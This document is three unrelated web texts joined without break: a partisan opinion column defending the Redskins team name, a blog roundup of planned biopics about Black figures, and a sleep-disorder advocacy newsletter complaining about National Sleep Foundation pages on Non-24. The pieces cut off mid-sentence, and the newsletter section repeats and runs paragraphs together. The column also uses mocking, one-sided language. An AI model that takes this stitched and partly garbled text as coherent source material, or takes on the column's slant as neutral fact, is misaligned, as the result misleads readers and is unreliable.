The amount of pressure brought to bear by these crusaders was staggering. Friendly media outlets pitched in to create an atmosphere of crisis, in which Redskins owner Daniel Snyder was portrayed as a racist super-villain. His very humanity was questioned over his supposedly incomprehensible refusal to rename the team.
Celebrities weighed in against Snyder, including Celebrity-in-Chief Barack Obama. Fiery editorials ripped loose from liberal papers across the land. Legal actions were taken. Buffoonish sportswriters virtue-signaled like mad, by refusing to speak or write the Redskins name. The menace of international terrorism faded beside the existential crisis of this football team’s name.
The one thing our beloved liberal media was very, very, very careful not to do was take a poll of what actual Native Americans thought. The only extant survey on the subject was over a decade old, and Snyder was mocked for pointing to its finding of overwhelming support for the Redskins name. Mysteriously, our poll-addicted media refused to conduct another survey for years, even though they’ll poll anyone else about anything else at the drop of a hat.
Now that the extreme Left has moved on to giving men unfettered access to women’s bathrooms as the white-hot moral crisis of the hour, the Redskins crusade is utterly forgotten, so it’s safe to take a poll… and what do you know? Actual Native Americans are still 90 percent untroubled by the team name, just like Snyder claimed.
He wasn’t given much credit for sitting down with Native Americans and asking them what they thought, or even for launching a foundation to benefit the tribes, but he was right all along. While self-appointed left-wing moral crusaders sneered at the Redskins owner as a hapless boob trying to pay off his white guilt with charitable donations, actual Native Americans appreciated his respectful interest.
“Across every demographic group, the vast majority of Native Americans say the team’s name does not offend them, including 80 percent who identify as politically liberal, 85 percent of college graduates, 90 percent of those enrolled in a tribe, 90 percent of non-football fans and 91 percent of those between the ages of 18 and 39. Even 9 in 10 of those who have heard |
backed the project, alongside Hairun Pictures, with Sidney Kimmel Entertainment releasing in the USA. Larry Yang is director of the film.
- Arthur Ashe - Writer Krystin Ver Linden and producers Russell Hollander, John Schoenfelder and Russell Ackerman have teamed up to bring Ashe's life story to the big screen. Few details are available on the project at this time, other than that it will cover both Ashe's professional and personal lives as the first African American to win the men's singles at Wimbledon and the U.S. Open, and the first African American man to be ranked No. 1 in the world. It will also delve into his health problems (he contracted HIV from a blood transfusion), and activism (raising awareness about HIV and AIDS, starting the Arthur Ashe Foundation, protesting the United States' treatment of Haitian refugees, and more).
- Angela Davis - There are 2 that we know of; first, writer LaToya Morgan previously sold an Angela Davis script to film production company The Firm. And second, Codeblack Films acquired the movie rights to Angela Davis: An Autobiography with plans to develop and produce an authorized Angela Davis biopic, which will be produced by Nina Yang Bongiovi. Sidra Smith, a producer on the 2012 documentary Free Angela and All Political Prisoners, and Codeblack CEO Jeff Clanagan will also serve as producers on the project. Angela Davis herself will be involved in the film's making, serving as executive producer along with her niece Eisa Davis, who is also penning the script. No ETA for either project at this time.
- Harriett Tubman - There are 2 films currently in development. First, for the big screen, from Charles D. King (MACRO), co-producer and co-financier, which will be directed by Seith Mann, starring Tony award winning actress Cynthia Erivo. Seith Mann will direct from a script penned by Gregory Allen Howard. The second film, which will be made for the small screen (HBO), will star Viola Davis, who will also produce, based on the 2004 book, Bound for the Promised Land - Harriet Tubman Portrait: of an American Hero, by historian Kate Clifford Larson, which draws from a trove of new documents and sources, as well as extensive genealogical research. Kirk Ellis is scripting the adaptation, with Doug Ellin and his Halyard Park production company executive-producing, alongside Amblin TV, Cliff Dorfman, as well as Viola Davis and her husband, Julius Tennon, via their JuVee production shingle.
- Bessie Coleman - Producers Philip and Tanya Hart are developing a feature film on aviation pioneer Bessie Coleman who, in 1921, became the first black woman to earn a pilot's license in the USA, who remains a pioneer of women in the field of aviation. The Harts' project - Flying Free with Bessie Coleman - will be based on Philip Hart's own source material from his two Bessie Coleman books for young readers, and a treatment developed by the Harts while at Disney Studios. A 2018 release is eyed for Flying Free with Bessie Coleman. It's a project that's coming together at a good time, with the strong box office performance, as well as critic and audience reception of Hidden Figures.
- Madam C. J. Walker (photo above) - Octavia Spencer optioned a book on Madam C. J. Walker. She mentioned this in a fall 2016 interview with The New York Times. She didn't mention which Madam C.J. Walker book specifically, but it’s Madam C.J. Walker! Considered the first self-made African American woman millionaire, she was born Sarah Breedlove on December 23, 1867, and went on to create specialized hair products for African Americans, which she invented in the very early 1900s. She promoted her products by traveling around the country giving lecture-demonstrations and eventually established Madame C.J. Walker Laboratories to manufacture cosmetics and train sales beauticians. She was also known for her philanthropic endeavors. There are a handful of books on Madam C.J. Walker in circulation, but maybe the most prominent is the best-seller, On Her Own Ground: The Life and Times of Madam C.J. Walker, the “definitive biography” of Madam C. J. Walker, which was written by her great-great-granddaughter, A’Lelia Bundles. If Spencer, or any producer was to adapt any book on the life of Walker, one would assume that this is the one they’d go with for obvious reasons. The first comprehensive biography of Walker, it was published in 2002 by Scribner. Where Spencer is on the development of the book she’s optioned, isn’t public information at this time. Whether Spencer would play the title role in the project (at least her latter years, while younger actresses are cast to play her as a child, and then a young woman), or only produce, isn’t public information at this time either. Given that we have no idea how the book Spencer optioned would be adapted, one can’t even say whether it’ll be a birth-to-death biopic, or maybe a film or miniseries that focuses on a specific period of her life.
- Miriam Makeba - A fictionalized feature film account of Makeba's life is in the works, hailing from Suzanne de Passe and long time business partner, Madison Jones of de Passe Jones Entertainment, in partnership with the Miriam Makeba Estate, Miriam Makeba Foundation and Mama Africa Cultural & Social Trust. Also on the team are Broadway producer Willette Klausner; music producer David Franco; and journalist Marc Le Chat, Makeba’s long-time publicist and confidant. No ETA or further details on the project at this time.
- Dionne Warwick - Destiny's Child alum LeToya Luckett is attached to star in a Dionne Warwick biopic. Olympia Dukakis and Danny Glover will also appear in the film, which will be titled Dionne. Dukakis will play Marlene Dietrich, Warwick's mentor at the start of her career; and Danny Glover will portray Warwick's father, Mansel Warwick. As for who will direct, Warwick said last year that her production team is was talks with Mario Van Peebles to helm the film, from a screenplay penned by Randall Jahnson, based on Warwick's 2010 autobiography, My Life as I See It. The film, which has been in development for about a decade now, will cover Warwick's early career from 1962 through 1968. AMBI Pictures and Bacardi drinks heiress Monika Bacardi are producing the film.
- Fannie Lou Hamer - While on the red carpet at the 2013 Art Directors Guild Awards gala, actress Alfre Woodard revealed in an interview, when asked what projects she was working on at the time, that she was bringing the life of Fannie Lou Hamer to the small screen in what she said would be a 4-hour film – likely broken up into 2 parts. Hamer was a voting rights activist and civil rights leader, instrumental in organizing Mississippi Freedom Summer for the Student Nonviolent Coordinating Committee (SNCC), and later became the Vice-Chair of the Mississippi Freedom Democratic Party. She was known for her electrifying oratory presence, and relentless pursuit of civil rights for all. Woodard didn't say if she would be playing Hamer in the 4-hour film, but I would assume so, although likely in her later life. Hamer died on March 14, 1977 at age 59. However, Woodard could also very well just be producing it, with some other actress (or actresses) starring. In addition, a biopic on Hamer is in the works with Remember the Titans writer Gregory Allen Howard and Chris Columbus’ 1492 production company. Columbus and Howard will produce the untitled project with Michael Barnathan, Mark Radcliffe, and Jenny Blum. No director or actors are attached at this time.
- Misty Copeland - New Line acquired Misty Copeland's memoir Life In Motion: An Unlikely Ballerina to adapt to film. The book recounts her early struggles as a young dancer living in a welfare motel with her family, providing an insider’s look at the cutthroat world of professional ballet, telling a moving story of dreams and perseverance. The studio brought writer Gregory Allen Howard on board to script the adaptation as well as executive produce, with Adam Shankman and Jennifer Gibgot of Offspring Entertainment producing alongside Philip Sandhaus. When the adaptation was first announced in 2014, Stephanie Allain and Lenore Kletter where attached to adapt the book. The planned feature film is one of a handful of Misty Copeland film and TV projects we know of, including another bio from scribe and actor Tracy Oliver who has teamed up with Copeland for a dance-focused drama series inspired by her life, which is currently set up at Fox. The potential series won't tell Copeland's story exactly, but will borrow elements from her life to tell a fictionalized story that centers on a diverse group of aspiring dancers who are in fierce competition for slots in the most prestigious American Ballet Theatre company.
- Prince - No scripted biopic, but there's a Prince documentary in the works titled Prince: R U Listening? from acclaimed Emmy and Peabody-award winning director and producer Michael John Kirk, known for his stellar work on the PBS documentary series Frontline. The film will chart Prince’s early years and rise to super-stardom, as seen through the eyes of his bandmates, friends and family, including contributors Dez Dickerson, Prince’s first guitar player, Andre Cymone, Prince’s close friend and original bassist, as well as Bono, Mick Jagger, Billy Idol, Lenny Kravitz and Sheila E. to name a few. Swiss distributor Ascot Elite Entertainment Group has has acquired all rights to what is described as a high-profile independently-produced documentary, from US international sales and finance company 13 Films. A late 2017 release is eyed.
- Dock Ellis - A scripted featured film on Ellis' life is in development from David Permut, via his Permut Presentations shingle. It will be based on Joey Poach’s spec script Dock. Dock Ellis’ son, Dock Ellis III, will serve as a consultant on the project. O’Shea Jackson, Jr. has signed up to play Dock Ellis in the film, and his father, Ice Cube, is on board to produce. There is no director attached to the project at this time, but a search is underway.
- Donna Hylton - Rosario Dawson is attached to play Hylton, the women's rights activist, in a feature film based on her memoir, which also details the abuse she lived with as a child, by her adoptive father, who was a pedophile, and the 27-year prison sentence she served (released in 2012) for her involvement, at the age of 19, in a kidnap and murder of a real estate agent. After leaving prison, earning a Bachelor of Science Degree in Behavioral Science and a Master of Arts Degree in English from Mercy College, Hylton became a community health advocate for Coming Home, a program that addresses the medical and psychosocial needs of formerly incarcerated people during the transition from prison or jail back into the community, at St. Luke’s-Roosevelt Hospital in New York City. She's also an active member of the Coalition for Women Prisoners, a statewide alliance of individuals and organizations dedicated to reforming the criminal justice system as it affects women, children, and communities. Hylton is also an advocate with STEPS to End Family Violence. A writer and a director (who will be both be women) are being sought to adapt Hylton's memoir.
- Grace Jones - BBC Films has commissioned production on a new docu-drama on Grace Jones from director Sophie Fiennes, the first of its kind. Described as an observational portrait, the feature film is titled Grace Jones - The Musical of My Life, and it'll weave a multi-narrative journey through the private and public realms of the legendary singer and performer, mixing intimate personal footage with unique staged musical sequences. Incredibly, this will be the first comprehensive feature film (fiction or non-fiction) on the personal and professional life of Grace Jones. A 2017 premiere at TIFF has been set.
- Marlin Briscoe - Canadian actor Lyriq Bent of Book of Negroes fame is set to star in the West Omaha Films and Falconer Pictures feature film The Magician, the Marlin Briscoe Story, in which the actor will play the Omaha, Nebraska native who, in 1968, became the first black starting quarterback in modern pro football history. A project that's actually been in development for several years, is written by Gregory Allen Howard, although no director is attached at this time. Marlin Briscoe made history on October 6, 1968, starting at quarterback for the Denver Broncos during what was his rookie NFL season, in a game against the Cincinnati Bengals. He went on to play for the Miami Dolphins, with whom he won two Super Bowls as a wide receiver. He was part of the 1972 undefeated team. He also played for the San Diego Chargers, Detroit Lions and New England Patriots. After retiring in 1976, Briscoe moved to Los Angeles, where he became addicted to drugs, eventually becoming broke and homeless. The film will cover mostly his latter years, including his subsequent recovery. Briscoe, now 70 years old, lives in Long Beach, California, and is aware of the film. In fact, he's met with Lyriq Bent as well as the film's producers on the making of the film.
- Maynard Holbrook Jackson Jr. - Sam Pollard (long-time Spike Lee editor, as well as director and producer in his own right) is taking on the life of another public figure in a new documentary. Maynard, the much-anticipated documentary film, which is being made about the life and times of former Atlanta Mayor Maynard H. Jackson, is currently in post-production, as we learned last month. The documentary about the person and legacy of Maynard Holbrook Jackson Jr. will tell the story of the man, the politician, and the game changer; and will strive to answer the question: “How did Maynard do it?” Mayor Jackson was known as a charismatic and compassionate leader who served a record three terms as Atlanta’s mayor. Among his many successes, he earned his place in Atlanta history books for building the world's busiest airport and for leading the affirmative action charge across these United States. The objective is to tell the Maynard story that details his life and to motivate other young politicians that one honest and dedicated individual can make a difference. A 2018 premiere is expected.
- Bayard Rustin - Q. Terah Jackson is working on a feature length script on Rustin's life titled simply Rustin, which was a 2015 Film Independent Screenwriting Lab participant - an intensive 4-week program designed to help writers take their current scripts to the next level in a nurturing and challenging creative environment. Rustin's logline reads: Working in the political shadows of a young Dr. King, Bayard Rustin endures personal and public attacks for being gay in order to orchestrate the March on Washington of 1963. Jackson's Rustin was also a 2014 WGA Feature Access Project honoree, so this is a project that's off to a strong start, and is one to certainly look out for in another couple of years. It's on its way with a solid pedigree, but much still has to happen, most importantly, talent needs to become attached, and it has to be financed.
- Samuel Marlowe - The CW is developing a period crime drama inspired by the real-life black private investigator, Samuel Marlowe, who was the inspiration for author Raymond Chandler's famed fictional character Philip Marlowe, who's been played in film adaptations, by several actors over the decades, from Humphrey Bogart to Robert Mitchum. The real Samuel Marlowe allegedly was the first black private detective licensed by the city of Los Angeles; this was in the 1930s. He was a Jamaican immigrant and World War I veteran, and is said to have corresponded with writers Raymond Chandler and Dashiell Hammett for decades. He was born in 1890, in Montego Bay, Jamaica. According to an LA Times obituary, he served in Britain’s Egyptian Expeditionary Force, a World War I fighting brigade that guarded the Suez Canal. After the war, Marlowe immigrated to the U.S., settling in Los Angeles, where he became a private detective. The CW drama based on Marlowe's career is described as "a character-based procedural with a modern feel and contemporary soundtrack," although it'll be set in 1937 Los Angeles. Marlowe will follow Samuel Marlowe "from the mansions and red carpets of Beverly Hills, to the jazz clubs and back alleys of Little Harlem, where he navigates crimes, mysteries and social issues ripped from today’s headlines through the prism of 1937 Los Angeles," says the press release. Devon Gregory will pen the script and co-executive produce the project, which hails from Aaron Kaplan's Kaplan Entertainment shingle. Kaplan will also exec produce.
- Lee Daniels - Yes, that Lee Daniels, the producer, writer, director (Empire, The Butler, Precious). Lee Daniels revealed in an interview with Billboard last fall (2016) that he was developing an autobiographical movie musical based on his life, which he said he was shopping around. In a conversation that was more about his then upcoming Fox series, Star, which he described as "the complete antithesis of Empire," Daniels was asked if there was another musical scene or genre that he thought would be right for a TV show. His reply: "My publicist will kill me, but I’m in talks about doing a musical film about my life. I’ve had a pretty interesting life. I’ve come from the projects. I’ve been homeless. It’ll have original music and sort of be like Fellini’s 8 1/2 or All That Jazz." Any comparisons to Fellini's 8 1/2 certainly gets attention. And All That Jazz is no slouch either. But both demonstrate the scope of Daniels' vision for the project, should it ever become a reality as he imagines it.
- Vertamae Smart-Grosvenor - The writer and National Public Radio (NPR) commentator who taught the world about the Gullah food and culture of coastal South Carolina, died last September in the Bronx. She was 79. Grosvenor first gained attention with her 1970 book, Vibration Cooking, or the Travel Notes of a Geechee Girl (1970), often referred to as an autobiographical cookbook, using her “Lowcountry” rural Allendale County, S.C. cuisine to teach the world about the contributions made by people of African descent globally. Julie Dash is currently working on a feature documentary on Smart-Grosvenor's life, titled Travel Notes of a Geechee Girl. By the way, Smart-Grosvenor's also appeared in few films, including Dash's own Daughters of the Dust, and in Beloved (1998), based on Toni Morrison's 1987 novel of the same name. A project we first alerted you to in 2014, Dash's film on Smart-Grosvenor documents the life of writer, poet, actress, and culinary anthropologist, who also produced award-winning documentaries like 1983's Slave Voices: Things Past Telling, and Daufuskie: Never Enough Too Soon, and went on to host NPR's award-winning documentary series Horizons from 1988 until 1995, when it was discontinued. Born in Fairfax, South Carolina, growing up in a Gullah family, Smart-Grosvenor traveled all over the world as editor for Elan magazine, made appearances on several television programs including The Today Show and Nightline, and wrote magazine columns for Ebony, Jet, Essence, Publishers Weekly and Redbook to name a few. She also has served on the Literary Task Force for the South Carolina Arts Commission. She also wrote an opera titled Nyam, a Gullah word meaning "to eat." Dash's film (a feature documentary that will also include some re-enactments) on her life is still in development. Two years ago, she launched an Indiegogo crowdfunding campaign to raise $55,000 which was to go towards the film's completion; In the end, 61% of the goal (or about $33,000) was raised. No word on how much progress has been made on the film thus far, but it was expected to premiere in 2017.
- Claressa "T-Rex" Shields - Last summer, Shielfs successfully defended her London 2012 boxing gold in the women's middleweight division, beating the Netherlands' Nouchka Fontijn in a unanimous decision. And with that win, Shields, making history yet again, also became the first USA boxer, male or female, ever to win two Olympic gold medals! And she's seemingly just getting started! In 2012, then 17-year-old Claressa "T-Rex" Shields, became the youngest woman – and one of the first women – to ever box in the Olympics. Her story was the subject of a 2015 documentary titled T-Rex, which is currently on home video in the USA. In addition to the documentary on her life, announced in last year, Universal Pictures teamed with Michael De Luca Productions to acquire life rights to Claressa’s story with plans to produce a scripted feature film which is being framed as Rocky-esque. Barry Jenkins was later tapped to script and possibly direct the film. This could be a breakout role for a young up-and-coming actress. No ETA at this time.
- Stephanie St. Clair - Janet Jackson is executive producing the story of the 1920’s New York City mobster, a.k.a Queenie - the first and only woman gangster during Prohibition, set against the backdrop of The Cotton Club. Born Stephanie St. Clair (1886–1969), Queenie (photo above) was a mob boss who ran numerous criminal enterprises in Harlem, NYC in the early part of the 20th century. She even bumped heads with the then Italian mafia, and managed to stay entirely independent. You might recall that in Bill Duke's gangland crime drama Hoodlum (1997), she was played by Cicely Tyson. Kenny Leon is attached to direct the Janet Jackson-produced film based on Queenie's life. The project is set up at Lifetime.
- John Coltrane - We already told you about long-time Spike Lee editor (as well as director and producer in his own right) Sam Pollard's John Coltrane documentary, which has been in development for a few years now (we first learned about it in 2012), titled A Love Supreme: A Portrait of John Coltrane in 4 Parts. The film is said to be based on the critically-acclaimed book A Love Supreme: The Story of John Coltrane's Signature Album by music journalist Ashley Kahn. It will reportedly be structured in the same way as Coltrane's influential 1964 album of the same name. The album is divided into four parts: Acknowledgement, Resolution, Pursuance, and Psalm. It will feature interviews with Coltrane's band-mates and friends, as well as historians and music journalists, artists, and people of faith who were inspired by the album. Also, and interestingly, Pollard has said that he plans to use animation to help tell Coltrane's story, and I'm very curious as to how he plans to implement/incorporate.
- Destiny's Child - Courtesy of the Sony email hack-attack a couple of years ago, we learned that the studio had some interest in a Destiny's Child biopic. In a December 2013 group email from Screen Gems chief Clint Culpepper to Sony Co-Chairman Amy Pascal and other Sony execs, they discussed Beyoncé’s father, Matthew Knowles' attempts to set up a Destiny’s Child biopic at the studio. Although there seemed to be some initial trepidation from Culpepper, responses from the other Sony execs were very enthusiastic about the idea. No word, however, on whether this is a project that's still of interest to the studio. Culpepper did state that Papa Knowles planned to also approach Universal Pictures about the project - I assume, to put some pressure on Sony to make a decision (as in, "if you're not interested, I'll take it somewhere else").
- Paul Robeson - We know of 3 different projects. In the first one, David Harewood was attached to star, with Sydney Tamiia Poitier (daughter of Sidney Poitier) playing his wife, Eslanda ("Essie") Goode Robeson. Louis Gossett Jr. was to portray W.E.B. Du Bois in the independently-produced film which was to be directed by South African director Darrell Roodt (Winnie). Shooting was set to begin last year; it never did. The second hails from Steve McQueen, who revealed in an interview 2 years ago, that he planned to direct a feature film based on the life of Paul Robeson, saying that it would indeed be his next feature directorial effort (although he's currently developing Widows). Harry Belafonte was involved in the project, although we don't yet know in what capacity exactly. I'd guess, as a producer/consultant, given that Belafonte and Robeson were pals. McQueen added: "We’re very fortunate that we’re on a roll together to make this dream a reality. Miracles do happen. With Paul Robeson and Harry Belafonte, things have come full circle." He didn't share what actors he may be eyeing for the part. No word on whether either project is still alive.
- Vanessa del Rio - 3 years ago, we alerted you to a Vanessa del Rio biopic that was in development at the time, titled The Amazing Life of Vanessa del Rio, which the producers described as Boogie Nights meets Taxi Driver. The movie will chronicle the porn star’s career set against the backdrop of NYC's then gritty organized crime-controlled Times Square, during the tumultuous 1970s & 1980s. To be directed by Thomas Mignone, best known for several award-winning music videos for bands like Slipknot, Mudvayne, System Of A Down, and Sepultura, the production has cast the actress who will play del Rio: Zulay Henao, who co-starred in Tyler Perry’s The Single Moms Club. Also Datari Turner will be one of the film's producers, alongside Arthur Sarkissian. No word on where the project currently stands.
- Peggielene Bartels - Queen Latifah is attached to star in a biopic on the life of Peggielene Bartels, the then 55-year-old Ghanaian American secretary (in 2008), living in a modest one-bedroom condo just outside Washington D.C., who learned that she had become the King of Otuam, a small fishing village on the coast of Ghana. The story goes... The previous king of Otuam, who was Bartels's uncle, had just died. The village elders, who remembered Bartels from the times she'd visited with her mother, decided to anoint her as their new ruler. After the initial shock, Bartels decided to accept the kingship, and after working for nearly three decades as an Administrative Assistant at the Ghanaian Embassy in the United States, went back to Ghana to wear her King crown, becoming King Peggy - the first female king of Otuam, reigning over approximately 7,000 people! Upon arriving for her crowning ceremony in Otuam, she discovered the dire reality: there's no running water, no hospital, no schools, and many of the village elders are corrupt. To make matters worse, her uncle (the late king) sits in a morgue awaiting a proper funeral in the royal palace, which is in ruins. And over the following few years, she not only transformed herself, but the community she ruled over as well. Her story was documented in a book titled, aptly, King Peggy, which Will Smith reportedly bought the rights to, for Queen Latifah to star in.
- Sylvia Robinson - Most recently, a pair of writers on the hit Fox series Empire - Carlito Rodriguez (also once editor-in-chief of The Source, and writer for HBO's The Leftovers) and Malcolm Spellman (a record label owner and manager of black roots singer Fantastic Negrito, who also co-scripted Our Family Wedding) - were hired to script the previously announced biopic on the late Sugar Hill Records co-founder Sylvia Robinson, a singer, songwriter and record producer, who formed the pioneering hip-hop group Sugarhill Gang and made the first commercially successful rap recording with them. She died at 75 years old in September 2011 of congestive heart failure, after being in a coma. She built a successful career as an R&B singer before she and her husband, Joe Robinson, formed Sugar Hill Records in the 1970's, and went on to nurse a musical genre that came to dominate mainstream music. In the late 1960s, Ms. Robinson became one of the few women to produce records in any genre when she and her husband founded All Platinum Records. She played an important role in the development of the group The Moments. But her greatest achievement was her decision in 1979 to produce a recording in what was then a considered a new musical art form known as rapping, masterminding the Sugarhill Gang’s Rapper’s Delight, the first hip-hop single to become a commercial hit. Some call her “the mother of hip-hop.” Producer Paula Wagner acquired the film rights to Sylvia Robinson's life story, last year, with plans to produce a biopic on the hip-hop pioneer. Sylvia’s son, Joey Robinson (administrator of the Sylvia Robinson Estate), will executive produce, while music executive Robert Kraft with co-produce. Grandmaster Melle Mel will serve as consultant to Joey Robinson. The film is expected to cover much of her life and professional career, and will include music from the era during which she made her mark - especially those she was responsible for.
- Bobby Womack - A biopic based on the life of singer/songwriter, who died in 2014, is in development, under the supervision of his longtime manager and friend Don Smalls. Smalls said in 2015 that he already had a 120-page script that Womack approved before his death, adding, in a press statement, with regards to casting, that, "There has been talk of Mos Def and Samuel L. Jackson, but we're also interested in casting an unknown." Active since the early 1960s, when he started his career as the lead singer of his family musical group, the Valentinos, and as Sam Cooke's back-up guitarist, Womack's career spanned more than 50 years, and several genres, including R&B, soul, rock and roll, doo-wop, gospel, and country. He wrote and originally recorded the Rolling Stones' first UK No. 1 hit, It's All Over Now, and New Birth's I Can Understand It among other songs. "I think with the right producer and director, this could be a real blockbuster," Don Smalls also said.
- Oscar Micheaux - Currently in development are: writer/director JD Walker's Micheaux feature film (a scripted project we first alerted you to a couple of years ago), titled Oscar Micheaux: Negro Pioneer; a feature documentary called Oscar's Comeback, directed by Lisa Collins, which takes a look at a festival celebrating a Micheaux - a festival in an all-white town (Gregory, South Dakota); and announced most recently, HBO is developing a biopic of pioneering African-American filmmaker Oscar Micheaux which Tyler Perry is attached to star in. Craig Zadan and Neil Meron are producing the project for Sony Pictures TV through their Storyline Entertainment banner. Perry will also executive produce with Zadan and Meron.. Charles Murray is penning the script which is based on the 2007 biography Oscar Micheaux: The Great and Only: The Life of America’s First Black Filmmaker by film historian Patrick McGilligan. No director is attached at this time.
- Antoinette Tuff - T.D. Jakes' budding media empire can now add a movie based on the life of Tuff which was set up at Sony, and which will tell the real-life story of the extraordinary human drama Tuff lived through, grabbing headlines around the world. The bookkeeper, an eight-year veteran of the DeKalb County school district, talked suspect Michael Brandon Hill into surrendering after a brief standoff with police, last summer. Faced with the armed 20-year-old who told her he was off his medication for a mental disorder, Tuff shared stories of heartbreak from her own life to help calm him down. After that brave incident, Antoinette became a media sensation (and rightfully-so). She even visited with President Barack Obama and First Lady Michelle Obama, met with global business and political leaders to tell her story and share her wisdom on how to use judgment in crisis and not just pass judgment in a heated moment. She also has started a non-profit organization, called Kids on the Move for Success, and has written a book titled Prepared for a Purpose: The Inspiring True Story of How One Woman Saved an Atlanta School Under Siege, which is now available for purchase at your favorite on- or offline bookstore. Announced most recently, Toni Braxton has been tapped to headline Lifetime's original movie, Faith Under Fire, which is based on the 2014 book. No word on whether Jakes is still attached, or if this is an entirely new project altogether. Braxton, who will also co-executive produce the project, will play Tuff, with Yaya DaCosta also attached to co-star as the 911 operator Kendra McCray, who worked with Tuff during the incident. Faith Under Fire is set to premiere in 2018.
- Darlene Love - Singer/actress Toni Braxton was set to star as Love in OWN: Oprah Winfrey Network's scripted TV film My Name is Love: The Darlene Love Story. Executive produced by Oprah Winfrey and filmmaker Morgan Neville, My Name is Love: The Darlene Love Story was to tell the story of one of the 1960’s iconic musical voices, Darlene Love. Love began cutting records for producer Phil Spector right out of high school, and went on to work with some of the greatest musical talents in history, including Elvis Presley, Aretha Franklin, Frank Sinatra and Bruce Springsteen. Including her love affair with Bill Medley of The Righteous Brothers, Love's "dishy and dramatic" story is one of a woman who had it all, lost it all, but never, ever refused to give up.
- Bob Marley and the Wailers - A film has long been in the works, set up at Mandalay Pictures, with writer Barry Morrow and producer Cathy Schulman both said to be attached to the project. Titled Buffalo Soldiers (named after song written by Bob Marley), the biopic, as it was described, will follow Marley and the Wailers and their many struggles faced on their way to eventual success. The title and lyrics refer to the black U.S. cavalry regiments, known as "Buffalo Soldiers", that fought in the American Indian Wars in the last 1800s/early 1900s. Marley's song turned their fight for survival into a symbol of black resistance. The Wailers was created by Bob Marley, Peter Tosh and Bunny Wailer in 1963, to be later joined by Junior Braithwaite, Beverley Kelso, and Cherry Smith. The group eventually disbanded, and Bob Marley began touring with new band members. No word on what the exact status of the project is, other than it was up at Mandalay with the above names attached, meaning it may or may not happen. We'll just have to wait and see.
- Carlton Pearson - Chiwetel Ejiofor is attached to star in a Pearson biopic, with Condola Rashad, Danny Glover and Robert Redford joining him in a film with Netflix's backing titled Come Sunday. The story tells of evangelical minister Carlton Pearson, who built one of the largest churches in Tulsa, Oklahoma, and then lost everything as a result of his evolving faith. Ejiofor is attached to star as Pearson, who stirred up controversy a decade ago, with his revelation that, essentially, there is no hell. Branded a heretic by his peers, Pearson would eventually lose almost everything, and would have to fight to not only rebuild his church, but also his family, as well as find and establish his own personal path. Glover will play Gilbert Pearson – Carlton Pearson's uncle; Robert Redford will play Oral Roberts in the film – the connection there being that Pearson attended Oral Roberts University in Tulsa, where he was mentored by Oral Roberts; and Rashad will play Gina, Carlton Pearson's wife. The film will be directed by Joshua Marston. With this solid growing cast, and the material they have to work with, this is certainly a project to watch for in the coming year.
- Black Mafia Family - Two years ago, Curtis "50 Cent" Jackson shared that he was producing a film on the B.M.F. - an acronym which stands for the notorious Black Mafia Family; a drug cartel that was created in Detroit, Michigan in the late 1980s, by Demetrius "Big Meech" and Terry Flenory. Over the following decade, their organization grew into a hugely successful nationwide enterprise. Soon after, they began to use their financial gains to branch out into other businesses, like creating a hip-hop music label called BMF Entertainment, promoting the careers of a few artists, some fairly well known, like Young Jeezy. But the castle they built all came crashing down in the mid-2000s, when they were busted, indicted and convicted on charges of running a criminal enterprise that allegedly grossed over $270 million during the period of its existence. Both brothers were sentenced to prison for 30 years to life. Other members of their organization would also face jail sentences. That's the shortened version of their story - one that's long been rumored to be the subject of a feature film that has yet to materialize, 5 years after we first alerted you to it on this blog.
- Shirley Bassey - Ruth Negga starred in a 2011 BBC telepic on Bassey's life. But there's a second project in the works from director Marc Evans. It was selected as one of 25 feature narrative projects in IFP's 2012 Project Forum Transatlantic Partners’ Projects, as well as the 15th edition of Strategic Partners, an international summit where projects are paired up with producers. The project is listed as still in development.
- Marvin Gaye - Over the years, |
added a section on DSPD, so there is NO LONGER A NEED TO WRITE THEM.
Further changes in the Non-24 pages are under discussion. The emails from our members and others were instrumental in bringing about these changes. Thank you! Together we have a voice! New NSF web site has harmful misinformation about N24 The National Sleep Foundation (NSF) has created a new set of web pages for Non-24-Hour Sleep Wake Disorder at
I was shocked by the following sentences (on non24.sleepfoundation.org/depression.html, 2nd para): N24HSWS is transient, reversible, and may be associated with a psychiatric disorder in sighted subjects, since the disorder is behaviorally induced in these cases." [emphasis mine]
In addition (on "People with N24HSWD have circadian rhythms that are not synchronized with the 24-hour day-night cycle, either through a failure of light to reach the SCN, as in total blindness, or due to inappropriate exposure to light-dark cycles, as with some sighted people." [emphasis mine]
All our lives we have been told we are just lazy, it's all in our mind, we're just not trying hard enough. And now the National Sleep Foundation is essentially saying the same thing.
Also, the entire series of pages seems to me to be written from the point of view that non-24s are keeping a normal 24 hour day, and feeling tired from time to time when they're out of sync. It does not acknowledge the many people who just can't sleep on a normal schedule and who therefore cannot function on a 24 hour day. And there's no mention of Circadian Sleep Disorders Network and no link to our website.
"For sighted subjects, this pathway is likely functional, but patients are generally not exposed to an appropriate 24-h day-night cycle. As a result, their internal clocks become unsynchronized with the 24-hour norm. Therefore,, since the disorder is behaviorally induced in these cases." [emphasis mine]In addition (on non24.sleepfoundation.org/facts_prevalence.html, 3rd para):All our lives we have been told we are just lazy, it's all in our mind, we're just not trying hard enough. And now the National Sleep Foundation is essentially saying the same thing.Also, the entire series of pages seems to me to be written from the point of view that non-24s are keeping a normal 24 hour day, and feeling tired from time to time when they're out of sync. It does not acknowledge the many people who just can't sleep on a normal schedule and who therefore cannot function on a 24 hour day. And there's no mention of Circadian Sleep Disorders Network and no link to our website. NSF has not yet corrected it Peter Mansbach and James Fadden wrote to Kristin Jones, our contact at NSF, over three weeks ago to complain and to offer suggested replacements. She has been receptive and encouraging, but she does not have the authority to make the changes. She has passed on our comments to the appropriate people. But there have been no changes yet.
Peter has also contacted Vanda. They say their sponsorship was an unrestricted grant, and they had no hand in developing the text. We're seeking their support for the changes we want. They don't want to alienate prospective future customers.
NSF has also not included CRSDs There is a drop-down list near the top of the
There is a separate page (actually 2 linked pages) also listing sleep disorders, at
And nowhere do they link to the Circadian Sleep Disorders Network web site,
We have asked them to rectify these changes on several occasions, but they have not responded.
Please write them! Please write the National Sleep Foundation to underscore your concerns about all these issues. You can write Kristin Jones at please copy
Peter's suggested substitutions and James's support letter are copied below, in case you want to use any of this information in your letters. It is best if you use your own words. Some talking points: The paragraphs (quote them [see above, in italics], identify page) are harmful and offensive to sighted people suffering from Non-24. What NSF is saying is untrue, and spreads misinformation that makes it more difficult for patients to get accommodations.
Many Non-24 patients are unable to adjust their schedule to a 24 hour day.
On the home page dropdown list, add circadian rhythm sleep disorders (or add DSPS and Non-24). And add a destination page for that to link to.
